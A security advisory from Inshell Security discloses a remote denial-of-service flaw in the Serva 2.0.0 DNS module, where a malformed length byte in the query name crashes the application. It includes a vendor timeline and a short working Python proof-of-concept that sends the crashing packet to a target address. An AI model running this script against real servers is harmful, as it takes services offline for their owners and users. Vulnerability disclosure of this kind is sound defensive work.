Inshell Security Advisory http://www.inshell.net 1. ADVISORY INFORMATION ----------------------- Product: Serva Vendor URL: www.vercot.com Type: Uncaught Exception [CWE-248] Date found: 2012-07-08 Date published: 2013-01-14 CVSSv2 Score: 5.0 (AV:N/AC:L/Au:N/C:N/I:N/A:P) CVE: - 2. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from Inshell Security. 3. VERSIONS AFFECTED -------------------- Serva 2.0.0, older versions may be affected too. 4. VULNERABILITY DESCRIPTION ---------------------------- Serva v2.0.0 suffers from a Remote Denial of Service Vulnerability in the DNS module. The Query Name consists of multiple byte fields which contain the length of the subsequent part of the name query. The application does not properly validate the first length-field, which could lead to a stack corruption resulting in a remote denial of service condition. An attacker needs to send a DNS request with a manipulated length-byte with a size greater than "\x7F" in the Query Name field to crash the application. Since parts of the Tftpd32 v4.0 release are used in Serva, this bug was ported from the Tftpd32 v4.0 release too (http://www.securityfocus.com/archive/1/522877). 5. PROOF-OF-CONCEPT (Code / Exploit) ------------------------------------ #!/usr/bin/python import socket target="192.168.0.1" port=53 TransACTID="\x03\xc3" Flags="\x01\x00" QuestionRRC="\x00\x01" AnswerRRC="\x00\x00" AuthRRC="\x00\x00" AddRRC="\x00\x00" QueryName="\xFF\x69\x6e\x73\x68\x65\x6c\x6c\x03\x6e\x65\x74\x00" QueryType="\x00\x01" QueryClass="\x00\x01" payload = TransACTID + Flags + QuestionRRC + AnswerRRC + AuthRRC + AddRRC + QueryName + QueryType + QueryClass print "[*] Connecting to Target " + target + "..." s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) print "[*] Sending malformed request..." s.sendto(payload,(target,port)) print "[!] Exploit has been sent!\n" s.close() For further Screenshots and/or PoCs visit: http://security.inshell.net/advisory/33 6. SOLUTION ----------- None 7. REPORT TIMELINE ------------------ 2012-07-08: Initial notification sent to vendor 2012-07-18: Vendor provides bugfix - release to verify that the vulnerability has been properly fixed 2012-07-22: Inshell confirms that the bug has been fixed 2012-08-29: Inshell asks vendor about the ETA of the planned release 2012-08-29: Vendor states that the release takes a bit longer than expected 2012-10-04: Inshell asks about ETA of the new release 2012-10-04: Vendor states that there will be another delay, because other features need to be added 2012-11-17: Inshell asks about hotfix solution 2012-11-18: Vendor states that there is no time for releasing a hotfix 2013-01-13: Full Disclosure 8. REFERENCES ------------- http://security.inshell.net/advisory/33 http://www.securityfocus.com/archive/1/522877